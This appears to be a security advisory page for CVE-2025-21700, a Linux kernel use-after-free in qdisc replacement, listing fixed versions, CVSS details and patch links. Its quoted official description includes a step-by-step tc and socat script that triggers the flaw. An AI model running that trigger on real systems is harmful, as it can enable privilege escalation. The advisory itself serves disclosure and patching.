Linux: Use After Free
CVE-2025-21700 is a high-severity use after free vulnerability in Linux, with a CVSS 3.1 base score of 7.8 out of 10. It can be exploited with local access to the system by an attacker with a low-privileged account, without any action from a user. The record lists versions cd796e269123e1994bfc4e99dd76680ba0946a97, fe18c21d67dc7d1bcce1bba56515b1b0306db19b, 38646749d6e12f9d80a08d21ca39f0beca20230d as the first without the flaw, so updating Linux to one of those releases or later removes the exposure. There is no confirmed exploitation so far. EPSS estimates a 0.23% chance of exploitation within 30 days, which is low compared with other CVEs.
High severity with no evidence of exploitation so far.
What to do
- Update Linux to cd796e269123e1994bfc4e99dd76680ba0946a97 or fe18c21d67dc7d1bcce1bba56515b1b0306db19b or 38646749d6e12f9d80a08d21ca39f0beca20230d or deda09c0543a66fa51554abc5ffd723d99b191bf, whichever matches your release line, or a later version.
- Update Linux Kernel to 5.4.291 or 5.10.235 or 5.15.179 or 6.1.129, whichever matches your release line, or a later version.
Affected products and versions
| Vendor | Product | Affected versions | Fixed in |
|---|---|---|---|
| Linux | Linux | 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 up to, but not including, cd796e269123e1994bfc4e99dd76680ba0946a97; 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 up to, but not including, fe18c21d67dc7d1bcce1bba56515b1b0306db19b; 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 up to, but not including, 38646749d6e12f9d80a08d21ca39f0beca20230d; 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 up to, but not including, deda09c0543a66fa51554abc5ffd723d99b191bf; 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 up to, but not including, 7e2bd8c13b07e29a247c023c7444df23f9a79fd8; 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 up to, but not including, 73c7e1d6898ccbeee126194dcc05f58b8a795e70; 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 up to, but not including, 46c59ec33ec98aba20c15117630cae43a01404cc; 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 up to, but not including, bc50835e83f60f56e9bec2b392fb5544f250fb6f; and 1 more ranges | cd796e269123e1994bfc4e99dd76680ba0946a97, fe18c21d67dc7d1bcce1bba56515b1b0306db19b, 38646749d6e12f9d80a08d21ca39f0beca20230d, deda09c0543a66fa51554abc5ffd723d99b191bf, 7e2bd8c13b07e29a247c023c7444df23f9a79fd8, 73c7e1d6898ccbeee126194dcc05f58b8a795e70 |
| Siemens | SIMATIC S7-1500 TM MFP - GNU/Linux subsystem | all versions | Not stated |
| Linux | Linux Kernel | 2.6.12 up to, but not including, 5.4.291; 5.5 up to, but not including, 5.10.235; 5.11 up to, but not including, 5.15.179; 5.16 up to, but not including, 6.1.129; 6.2 up to, but not including, 6.6.76; 6.7 up to, but not including, 6.12.13; 6.13 up to, but not including, 6.13.2 | 5.4.291, 5.10.235, 5.15.179, 6.1.129, 6.6.76, 6.12.13 |
Version data comes from the organisation that assigned the CVE. Confirm against the vendor advisory before deciding you are unaffected.
How the severity score breaks down
- Attack vector
- LocalThe attacker needs local access or must trick a user into running something.
- Attack complexity
- LowNo special conditions are needed; the attack works reliably.
- Privileges required
- LowA basic user account is enough.
- User interaction
- NoneNo action by a victim is required.
- Scope
- UnchangedImpact stays within the vulnerable component.
- Confidentiality
- HighAll data handled by the component can be read.
- Integrity
- HighData or code can be modified at will.
- Availability
- HighThe component can be taken down completely.
Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H. Scored by CNA.
| Scoring system | Score | Severity | Scored by |
|---|---|---|---|
| CVSS 3.1 | 7.8 | High | CNA |
| CVSS 3.1 | 7.8 | High | CISA (ADP) |
Official description
In the Linux kernel, the following vulnerability has been resolved: net: sched: Disallow replacing of child qdisc from one parent to another Lion Ackermann was able to create a UAF which can be abused for privilege escalation with the following script Step 1. create root qdisc tc qdisc add dev lo root handle 1:0 drr step2. a class for packet aggregation do demonstrate uaf tc class add dev lo classid 1:1 drr step3. a class for nesting tc class add dev lo classid 1:2 drr step4. a class to graft qdisc to tc class add dev lo classid 1:3 drr step5. tc qdisc add dev lo parent 1:1 handle 2:0 plug limit 1024 step6. tc qdisc add dev lo parent 1:2 handle 3:0 drr step7. tc class add dev lo classid 3:1 drr step 8. tc qdisc add dev lo parent 3:1 handle 4:0 pfifo step 9. Display the class/qdisc layout tc class ls dev lo class drr 1:1 root leaf 2: quantum 64Kb class drr 1:2 root leaf 3: quantum 64Kb class drr 3:1 root leaf 4: quantum 64Kb tc qdisc ls qdisc drr 1: dev lo root refcnt 2 qdisc plug 2: dev lo parent 1:1 qdisc pfifo 4: dev lo parent 3:1 limit 1000p qdisc drr 3: dev lo parent 1:2 step10. trigger the bug <=== prevented by this patch tc qdisc replace dev lo parent 1:3 handle 4:0 step 11. Redisplay again the qdiscs/classes tc class ls dev lo class drr 1:1 root leaf 2: quantum 64Kb class drr 1:2 root leaf 3: quantum 64Kb class drr 1:3 root leaf 4: quantum 64Kb class drr 3:1 root leaf 4: quantum 64Kb tc qdisc ls qdisc drr 1: dev lo root refcnt 2 qdisc plug 2: dev lo parent 1:1 qdisc pfifo 4: dev lo parent 3:1 refcnt 2 limit 1000p qdisc drr 3: dev lo parent 1:2 Observe that a) parent for 4:0 does not change despite the replace request. There can only be one parent. b) refcount has gone up by two for 4:0 and c) both class 1:3 and 3:1 are pointing to it. Step 12. send one packet to plug echo "" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10001)) step13. send one packet to the grafted fifo echo "" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10003)) step14. lets trigger the uaf tc class delete dev lo classid 1:3 tc class delete dev lo classid 1:1 The semantics of "replace" is for a del/add _on the same node_ and not a delete from one node(3:1) and add to another node (1:3) as in step10. While we could "fix" with a more complex approach there could be consequences to expectations so the patch takes the preventive approach of "disallow such config". Joint work with Lion Ackermann <[email protected]>
Source: the CVE record as published by its numbering authority, via NVD and CVE.org.
The underlying weakness: Use After Free
The product reuses or references memory after it has been freed. At some point afterward, the memory may be allocated again and saved in another pointer, while the original pointer references a location somewhere within the new allocation. Any operations using the original pointer are no longer valid because the memory belongs to the code that operates on the new pointer.
How developers prevent this class of flaw
- Choose a language that provides automatic memory management.
- When freeing pointers, be sure to set them to NULL once they are freed. However, the utilization of multiple or complex data structures may lower the usefulness of this strategy.
Timeline
- CVE record published.
- CISA published its SSVC assessment (exploitation: none, automatable: no, technical impact: total).
- Record last changed materially (score, affected products, status or references).
References
Patches and release notes
- git.kernel.org/stable/c/38646749d6e12f9d80a08d21ca39f0beca20230d
- git.kernel.org/stable/c/46c59ec33ec98aba20c15117630cae43a01404cc
- git.kernel.org/stable/c/73c7e1d6898ccbeee126194dcc05f58b8a795e70
- git.kernel.org/stable/c/7e2bd8c13b07e29a247c023c7444df23f9a79fd8
- git.kernel.org/stable/c/bc50835e83f60f56e9bec2b392fb5544f250fb6f
- git.kernel.org/stable/c/cd796e269123e1994bfc4e99dd76680ba0946a97
- git.kernel.org/stable/c/deda09c0543a66fa51554abc5ffd723d99b191bf
- git.kernel.org/stable/c/fe18c21d67dc7d1bcce1bba56515b1b0306db19b
Other references
Recent Use After Free vulnerabilities
- 7.4 High severity
- 7.8 High severity
- 8.8 High severity
- 7.8 High severity
- 7.8 High severity
- 7.8 High severity
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